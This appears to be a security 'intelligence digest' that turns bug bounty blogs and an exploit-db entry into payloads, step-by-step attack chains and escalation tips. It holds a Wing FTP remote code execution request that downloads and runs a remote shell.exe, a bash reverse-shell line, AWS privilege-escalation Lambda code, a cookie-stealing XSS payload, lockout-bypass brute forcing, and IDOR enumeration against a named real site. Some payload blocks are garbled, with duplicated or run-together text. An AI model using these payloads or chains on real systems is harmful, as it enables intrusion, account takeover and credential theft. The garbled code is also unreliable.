ETX Signal-X

Daily Intelligence Digest

Thursday, February 26, 2026

10
ARTICLES

17
TECHNIQUES

Article 1

How I Discovered an API Security Issue: My First Bug Bounty Blog

Source: securitycipher

Date: 01-Dec-2024

URL: https://hackersatty.medium.com/how-i-discovered-an-api-security-issue-my-first-bug-bounty-blog-7deec48453ff

T1 Unauthenticated Sensitive API Endpoints via Swagger UI

💉 **Payload**

```
{  "email": "user@example.com",  "password": "Test@123",  "firstName": "Example",  "lastName": "User",  "birthdate": "2000-01-01",  "newsletter": true} "email""user@example.com" "password" "Test@123" "firstName" "Example" "lastName" "User" "birthdate""2000-01-01" "newsletter"
```

⚔️ **Attack Chain**

1. Access the Swagger UI at `https://staging-api.example.com/#/User/createUser`.
2. Identify sensitive endpoints (e.g., `/User/createUser`, password reset) exposed without authentication.
3. Send a POST request to `/User/createUser` with crafted user details (email, password, etc.) as shown in the payload.
4. Confirm account creation or sensitive action succeeds without any authentication.

🔍 **Discovery**

Swagger UI enumeration on a staging environment, specifically reviewing endpoints for authentication requirements. Noticed critical endpoints were accessible without login.

🔓 **Bypass**

No authentication header or token required; endpoint accepts and processes requests from unauthenticated users.

🔗 **Chain With**

Mass account creation for spam or resource exhaustion. Potential for chaining with password reset endpoint for unauthorized access or account takeover. If staging is linked to production, may pivot to production data or escalate privileges.

Article 2

Wing FTP Server 6.3.8 contains a remote code execution vulnerability in its Lua-based web console that allows authenticated users to execute system commands. Attackers can leverage the console to send POST requests with malicious commands that trigger ope

Source: threatable

Date:

URL: https://www.exploit-db.com/exploits/48676

T1 Authenticated Remote Code Execution via Lua Web Console

💉 Payload

```
POST /admin_lua_.html?r=0.3592753444724336 HTTP/1.1
Host: 192.168.56.105:5466
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.105:5466/admin_lua_term.html
Content-Type: text/plain;charset=UTF-8
Content-Length: 153
Connection: close
Cookie: admin_lang=english; admin_login_name=admin; UIDADMIN=75e5058fb61a81e427ae86f55794f1
f5
command=os.execute('cmd.exe%20%2Fc%20certutil.exe%20-urlcache%20-split%20-f%20http%3A%2F%2F
192.168.56.103%2Fshell.exe%20c%3A%5Cshell.exe%20%26shell.exe')
```

⚔️ Attack Chain

1. Authenticate to the Wing FTP Server web console as a valid user.
2. Craft a POST request to `/admin_lua_.html` with the required cookies and headers.
3. Set the POST body to execute a Lua command: `os.execute()` with a Windows command to download and execute a reverse shell payload via certutil.
4. The server executes the command, resulting in remote code execution and a reverse shell.

🔍 Discovery

Researcher identified the Lua-based web console feature for authenticated users and tested command injection via the `command` parameter in POST requests, leveraging the exposed `os.execute()` function.

🔓 Bypass

No explicit bypass logic described; relies on authenticated access and direct command injection. Potential for chaining with session fixation or privilege escalation if lower-privileged users can access the console.

🔗 Chain With

Combine with credential brute-force or session fixation to gain console access. Chain with privilege escalation if the web console allows access to higher-privileged functions. Use alternative payloads for lateral movement or persistence (e.g., PowerShell, WMI, or dropping additional tools).

Article 3

I Almost Bought a $239 Domain for $1 — A Ghost-Level Bug No One's Watching

Source: securitycipher

Date: 16-Jul-2025

URL: https://infosecwriteups.com/i-almost-bought-a-239-domain-for-1-a-ghost-level-bug-no-ones-watching-2ffe740279cd

T1 Client-Side Price Manipulation in Domain Purchase Flow

💉 **Payload**

```
"price": 239.00
"price":239.00
```

⚔️ **Attack Chain**

1. Add a premium-priced domain (e.g., $239) to the cart on xyz.com.
2. Intercept the cart/checkout request using Burp Suite.
3. Locate the price field in the request body (e.g., "price": 239.00).
4. Edit the price value to a much lower amount (e.g., "price": 1.00).
5. Forward the modified request to the server.
6. Observe that the server accepts the client-supplied price, updates the UI, and proceeds to payment with the manipulated price.
7. Complete the purchase at the reduced price (if desired).

🔍 **Discovery**

Routine recon on a domain/hosting platform. Noticed the price field was present in plaintext in the cart request, editable, and lacked any server-side validation, signature, or hash. Triggered by curiosity about client-side trust in critical purchase values.

🔓 **Bypass**

No server-side validation or integrity check on price. The backend trusts the client-supplied value, allowing direct tampering and bypassing any pricing enforcement.

🔗 **Chain With**

Mass purchase of premium domains at $1 each for resale, parking, or abuse. Potential chaining with coupon/voucher logic flaws if similar client-side trust exists. Lateral expansion to other purchase flows (hosting, SSL, add-ons) if price logic is reused.

Article 4

Privilege Escalation in GraphQL : Exploiting Finance Role Token to Access Admin Data : Part 1

Source: securitycipher

Date: 25-Jan-2025

URL: https://hackersatty.medium.com/privilege-escalation-in-graphql-exploiting-finance-role-token-to-access-admin-data-part-1-7a017a7aeb89

T1 GraphQL Privilege Escalation via Role Token Swap

💉 **Payload**

```
POST /graphql HTTP/1.1
Host: example.com
Authorization: Bearer <finance_role_token>
Content-Type: application/json

{
  "query": "mutation { createProduct(productID: \"admin_product_id\") { id name } }"
}
```

⚔️ **Attack Chain**

1. Enumerate GraphQL endpoints (e.g., /graphql, /graphql.json, /ggql) using introspection or directory brute-force.
2. Capture a high-privilege (admin) GraphQL mutation request (e.g., product creation) using an interception proxy.
3. Replace the Authorization token with a lower-privilege (finance role) token.
4. Modify parameters such as productID to target admin-level objects.
5. Replay the request and analyze the response for unauthorized access or action.

🔍 **Discovery**

Systematic endpoint enumeration and introspection revealed sensitive mutations. Token swapping was tested after observing lack of strict RBAC enforcement in GraphQL requests.

🔓 **Bypass**

The server failed to validate the user's role for the mutation, allowing finance role tokens to execute admin-only actions. No additional checks on token privilege or mutation scope.

🔗 **Chain With**

Combine with IDOR in mutation parameters (e.g., userID, productID) to access or modify other users'/admins' data. Use introspection to discover further privileged mutations or queries. Exploit weak token validation to pivot into other roles or escalate further.

Article 5

Finding CSRF Bug Bounty Program — Get $$

Source: securitycipher

Date: 16-Mar-2025

URL: https://firdausmuhammadismail.medium.com/finding-csrf-bug-bounty-program-get-253461291432

T1 CSRF Exploitation via Missing Token in HTML Form Submission

💉 **Payload**

```
POST /profile/update HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=attacker-session

First_Name=has+been+hacked&Last_Name=hacked
```

⚔️ **Attack Chain**

1. Register or log in as attacker and navigate to the profile update page.
2. Change profile fields (e.g., First_Name, Last_Name) and intercept the request with Burp Suite.
3. Observe that the request is sent as HTML form data (not JSON) and lacks CSRF or verification tokens.
4. Copy the intercepted request and use Burp Suite Engagement Tools to generate a CSRF PoC HTML file.
5. Host the generated HTML file and entice the victim to load it while authenticated.
6. Victim loads the file and submits the request, updating their profile with attacker-controlled values.

🔍 **Discovery**

Manual interception of profile update requests using Burp Suite; noticed absence of CSRF token and verification token in form submission, and data sent as HTML form (not JSON).

🔓 **Bypass**

Exploited the lack of CSRF/verification tokens and reliance on HTML form data, bypassing any token-based protection mechanisms.

🔗 **Chain With**

Combine with session fixation or account takeover if profile fields include sensitive data (e.g., email, password, role). Potential for privilege escalation if profile update endpoint allows role changes.

Article 6

Abusing iam:PassRole: Five Practical AWS Privilege Escalation Techniques

Source: securitycipher

Date: 22-Dec-2025

URL: https://naysec.medium.com/abusing-iam-passrole-five-practical-aws-privilege-escalation-techniques-411502d01884

T1 Passing a Role to a New Glue Development Endpoint

💉 **Payload**

```
ssh-keygen -t rsa -C "testhacker@gmail.com"
```

⚔️ **Attack Chain**

1. Generate SSH key pair for authentication.
2. Create Glue Dev Endpoint, passing a high-privilege role and public key.
3. Wait for endpoint provisioning, retrieve public DNS.
4. SSH into endpoint using generated key.
5. Query instance metadata for attached IAM role and credentials.
6. Configure AWS CLI with obtained credentials.
7. Use AWS CLI to perform actions as the privileged role.

🔍 **Discovery**

Researcher identified that Glue Dev Endpoints allow interactive access and can assume any role passed via iam:PassRole. Explored service creation permissions for privilege escalation vectors.

🔓 **Bypass**

If network restrictions block SSH, attacker can still use the endpoint to run code via notebook interfaces or API.

🔗 **Chain With**

Credentials extracted from the endpoint can be used to pivot into other AWS services or escalate further via API calls.

T2 **Passing a Role to CloudFormation**

💉 **Payload**

```
AWSTemplateFormatVersion: 2010-09-09Description: Basic IAM RoleResources: AutoTemplate: Type: AWS::IAM::Policy Properties: PolicyName: high-privilege PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: '*' Resource: '*' Users: - user-name
```

⚔️ **Attack Chain**

1. Create a malicious CloudFormation template that attaches a high-privilege policy to a target user.
2. Host template for CloudFormation access.
3. Create stack, specifying execution role with elevated privileges.
4. Monitor stack execution.
5. Verify privilege escalation by checking attached policies on target user.

🔍 **Discovery**

Researcher analyzed CloudFormation's execution role mechanism and identified that stack operations can be performed with any role passed via iam:PassRole.

🔓 **Bypass**

If direct user modification is blocked, attacker can use CloudFormation to attach policies via resource creation.

🔗 **Chain With**

Escalated privileges can be used to create new users, roles, or further manipulate IAM resources.

T3 Passing a Role to a New Lambda Function, Then Invoking It

💉 Payload

```
import boto3def lambda_handler(event, context): iam = boto3.client("iam") username = "repla
cewithusername" iam.attach_user_policy( UserName=username, PolicyArn="arn:aws:iam::aws:poli
cy/AdministratorAccess" ) return { "status": "success", "message": f"AdministratorAccess at
tached to {username}" }
```

⚔️ Attack Chain

1. Create Lambda function code to attach AdministratorAccess policy to a user.
2. Package code as ZIP.
3. Create Lambda function, passing high-privilege role.
4. Invoke Lambda function to execute code as privileged role.
5. Verify privilege escalation by listing attached policies.

🔍 Discovery

Researcher mapped Lambda's role assumption and identified that function invocation executes with passed role's permissions.

🔓 Bypass

If direct invocation is blocked, event source mapping can be used (see next technique).

🔗 Chain With

Escalated privileges allow creation/modification of IAM resources or further Lambda abuse.

T4 **Passing a Role to a New Lambda Function, Then Triggering It with DynamoDB**

💉 **Payload**

```
import boto3def lambda_handler(event, context): iam = boto3.client("iam") username = "user-
name" iam.attach_user_policy( UserName=username, PolicyArn="arn:aws:iam::aws:policy/Adminis
tratorAccess" ) return { "status": "success", "message": f"AdministratorAccess attached to
{username}" }
```

⚔️ **Attack Chain**

1. Create Lambda function code to escalate privileges.
2. Package code as ZIP.
3. Create Lambda function, passing privileged role.
4. Create DynamoDB table with Streams enabled.
5. Map DynamoDB stream as event source for Lambda.
6. Insert item into table to trigger Lambda execution.

🔍 **Discovery**

Researcher identified event source mappings as alternate Lambda invocation vector, bypassing direct invocation restrictions.

🔓 **Bypass**

If lambda:InvokeFunction is not granted, attacker can trigger via DynamoDB Streams or other event sources.

🔗 **Chain With**

Can be chained with other event sources (S3, SNS, etc.) for automated privilege escalation.

T5

Creating an EC2 Instance With an Existing Instance Profile

💉 **Payload**

```
#!/bin/bashbash -i >& /dev/tcp// 0>&1
```

⚔️ **Attack Chain**

1. Create reverse shell script and make executable.
2. Start netcat listener on attacker machine.
3. Launch EC2 instance, attaching high-privilege instance profile and passing reverse shell via user-data.
4. Receive shell connection, gaining OS-level access.
5. Use AWS CLI on EC2 instance (with instance profile credentials) for privileged actions.

🔍 **Discovery**

Researcher mapped EC2 instance profile attachment via iam:PassRole and identified user-data as a vector for executing attacker-controlled code.

🔓 **Bypass**

If outbound connections are blocked, attacker can use other methods (e.g., SSH) to access the instance.

🔗 **Chain With**

Instance profile credentials can be harvested and used for further AWS API attacks or lateral movement.

Article 7

Authentication Vulnerabilities- Lab #6 Broken brute-force protection, IP block

Source: securitycipher

Date: 11-Nov-2023

URL: https://dollarboysushil.medium.com/authentication-vulnerabilities-lab-6-broken-brute-force-protection-ip-block-b3afca0a2ea7

T1 Brute Force Protection Reset via Interleaved Valid Login

💉 **Payload**

```
POST /login HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded

username=carlos&password=INCORRECT1
```

⚔️ **Attack Chain**

1. Identify brute force protection triggers lockout after 3 incorrect attempts for 1 minute.
2. Intercept login requests in Burp Suite.
3. After every 2-3 incorrect password attempts, send a valid login request (using known correct credentials).
4. Resume brute force attempts after each valid login to reset the lockout counter.
5. Repeat until the correct password is found (status code 302 indicates success).

🔍 **Discovery**

Observed lockout behavior after 3 incorrect attempts. Noticed that a successful login resets the lockout counter, allowing continued brute force attempts. Tested interleaving valid logins to confirm bypass.

🔓 **Bypass**

Brute force lockout is based on consecutive incorrect attempts. Interleaving correct logins resets the lockout counter, allowing unlimited brute force attempts without triggering the block.

🔗 **Chain With**

Combine with automated tooling (Burp macros) to scale attack. Use in conjunction with username enumeration for targeted brute force. Potential to bypass additional rate-limiting mechanisms if they rely on similar logic.

T2 Automated Macro-Based Brute Force with Session Reset

💉 Payload

```
# Burp Suite Macro Configuration:
# 1. Record a login request with correct credentials (status code 302).
# 2. Configure macro to run after every N brute force attempts.
# 3. Intruder setup:
POST /login HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded

username=carlos&password=PAYLOAD
```

⚔️ Attack Chain

1. Set up Burp Suite macro to send a correct login request after every N brute force attempts.
2. Configure Intruder to brute force the password field for user 'carlos'.
3. Set resource pool to limit concurrent requests to 1 (to avoid triggering lockout).
4. Start attack; macro ensures lockout counter is reset, allowing continuous brute force.
5. Monitor for status code 302 to identify correct password.

🔍 Discovery

Manual testing revealed lockout reset via valid login. Automated macro was configured to scale and optimize the attack, leveraging Burp Suite's session handling and resource pool features.

🔓 Bypass

Macro automation ensures lockout counter is reset at regular intervals, preventing brute force protection from being triggered.

🔗 Chain With

Integrate with custom scripts for distributed brute force. Use macro logic to bypass other session-based protections (e.g., CAPTCHA, rate limits). Combine with password spraying or credential stuffing attacks.

Article 8

Top XSS POCs that made $50000

Source: securitycipher

Date: 02-Jun-2025

URL: https://it4chis3c.medium.com/top-xss-pocs-that-made-50000-1691200eb599

T1 File Upload XSS via ASCII-Encoded JavaScript + CSRF Absence

💉 **Payload**

```
"><img src=1 onerror="  url=String.fromCharCode(104,116,116,112,...);  // Convert attacker
URL to ASCII  xhttp=new XMLHttpRequest();  xhttp.open('GET',url+document.cookie,true);   //
Steal cookies  xhttp.send();">"><img src=1 onerror=" String fromCharCode 104 116 116 112
// Convert attacker URL to ASCII new XMLHttpRequest open 'GET' document cookie true
// Steal cookies send">
```

⚔️ **Attack Chain**

1. Intercept file upload requests in support chat functionality (e.g., POST to `/upload_file`).
2. Confirm absence of CSRF protection (no CSRF token in request).
3. Craft a file upload containing the above payload, which uses ASCII encoding via `String.fromCharCode` to obfuscate the attacker URL and JavaScript logic.
4. Upload the file and trigger rendering in the chat interface, causing the payload to execute and exfiltrate cookies via XMLHttpRequest.

🔍 **Discovery**

The researcher targeted file upload endpoints in support chat, specifically looking for requests lacking CSRF tokens. The use of ASCII encoding in the payload was chosen to bypass basic filters and evade detection.

🔓 **Bypass**

Obfuscation of the attacker URL and JavaScript logic using `String.fromCharCode` allows bypassing naive XSS filters and WAFs that block direct script references.

🔗 **Chain With**

Combine with CSRF to force victim file uploads containing the payload. Use ASCII encoding to bypass additional input validation or WAFs in other upload contexts.

Article 9

Ghost Posts via IDOR: How I Read Unpublished NASA Blog Content Using Simple Math

Source: securitycipher

Date: 01-Jan-2026

URL: https://letchupkt.medium.com/ghost-posts-via-idor-how-i-read-unpublished-nasa-blog-content-using-simple-math-8f778adc254d

T1 Accessing Unpublished WordPress Posts via Numeric IDOR

💉 **Payload**

```
GET /artemis/?p=4995 HTTP/1.1
Host: blogs.nasa.gov
```

⚔️ **Attack Chain**

1. Identify the WordPress blog using Pretty Permalinks (e.g., /artemis/2023/10/05/update-on-mission-progress/).
2. Enumerate post IDs by iterating numeric values in the `/?p=[ID]` endpoint (e.g., `/?p=4900` to `/?p=5000`).
3. Observe HTTP responses for each ID:
4. When a 200 OK is returned without redirect, access the URL in browser to view unpublished content (e.g., editor notes, embargoed info).

🔍 **Discovery**

The researcher noticed WordPress's legacy `/?p=[ID]` endpoint persists alongside Pretty Permalinks. Numeric iteration revealed unpublished content accessible via direct object reference, triggered by observing unexpected 200 OK responses during brute force enumeration.

🔓 **Bypass**

The application failed to check post status (draft/unpublished) for unauthenticated users on the `/?p=[ID]` endpoint. Legacy endpoints bypassed modern access controls applied to main feeds and Pretty URLs.

🔗 **Chain With**

Combine with enumeration of other post types (private, localized, embargoed) for broader content leakage. Use on multisite WordPress installations to pivot across blogs. Potential for chaining with authentication bypass if draft posts contain sensitive workflow or credentials.

T2 Legacy Endpoint Exploitation for Access Control Bypass

💉 **Payload**

```
GET /artemis/?p=ID HTTP/1.1
Host: blogs.nasa.gov
```

⚔️ **Attack Chain**

1. Identify legacy endpoints (`/?p=ID`) still enabled on modern WordPress installations.
2. Test access to unpublished/draft/private posts by incrementing IDs beyond known public posts.
3. Observe if legacy endpoint returns content not accessible via modern URLs or feeds.

🔍 **Discovery**

Triggered by knowledge of WordPress backward compatibility and legacy URL patterns. The researcher specifically targeted old endpoints, suspecting modern WAFs and access controls might overlook them.

🔓 **Bypass**

Legacy endpoints (`/?p=ID`) were not protected by the same access controls as Pretty Permalinks or main feeds. Access checks were missing or performed after content delivery.

🔗 **Chain With**

Use legacy endpoint access to enumerate unpublished post metadata (authors, timestamps, revision history). Combine with parameter pollution or path traversal for deeper access. Exploit legacy endpoints in other CMS platforms (Drupal, Joomla) with similar backward compatibility features.

Article 10

Same Username, Different Letters? Account Creation with Lookalike Usernames

Source: securitycipher

Date: 18-May-2025

URL: https://strangerwhite.medium.com/same-username-different-letters-account-creation-with-lookalike-usernames-e370b2a7d5e3

T1 Homoglyph Username Impersonation

💉 **Payload**

```
strangerwhite9
```

⚔️ **Attack Chain**

1. Register an account with the legitimate username (e.g., "strangerwhite9").
2. Register a second account using a visually similar username with a homoglyph character (e.g., Cyrillic 's' U+0455 instead of Latin 's' U+0073).
3. Use the lookalike account to impersonate the legitimate user, initiate phishing, or confuse users/admins.

🔍 **Discovery**

Manual testing of account creation with visually similar usernames using Unicode homoglyphs. Noticed that the system only checked for exact string matches, not visual similarity.

🔓 **Bypass**

The system's username uniqueness check is based on exact character code comparison, not visual similarity. Unicode homoglyphs bypass the duplicate username check.

🔗 **Chain With**

Combine with phishing or social engineering attacks to trick users into interacting with the fake account. Use in platforms with weak moderation to escalate impersonation or account takeover. Potential for account-level DoS if admins cannot distinguish accounts.

T2 **Case-Sensitive Username Confusion**

💉 **Payload**

```
Admin
```

⚔️ **Attack Chain**

1. Register an account with the legitimate username (e.g., "Admin").
2. Register a second account using the same username with different casing (e.g., "admin").
3. Leverage confusion between accounts to impersonate, escalate privileges, or bypass moderation.

🔍 **Discovery**

Manual testing of account creation with usernames differing only by case. Inspired by historical vulnerabilities (e.g., GitHub's case-sensitive username bug).

🔓 **Bypass**

Username uniqueness check is case-sensitive, allowing registration of visually similar but technically distinct usernames.

🔗 **Chain With**

Combine with password reset or account recovery flows to target privileged accounts. Use in platforms with case-insensitive display logic to escalate confusion or privilege. Exploit in environments where admins or users rely on visual matching rather than exact string comparison.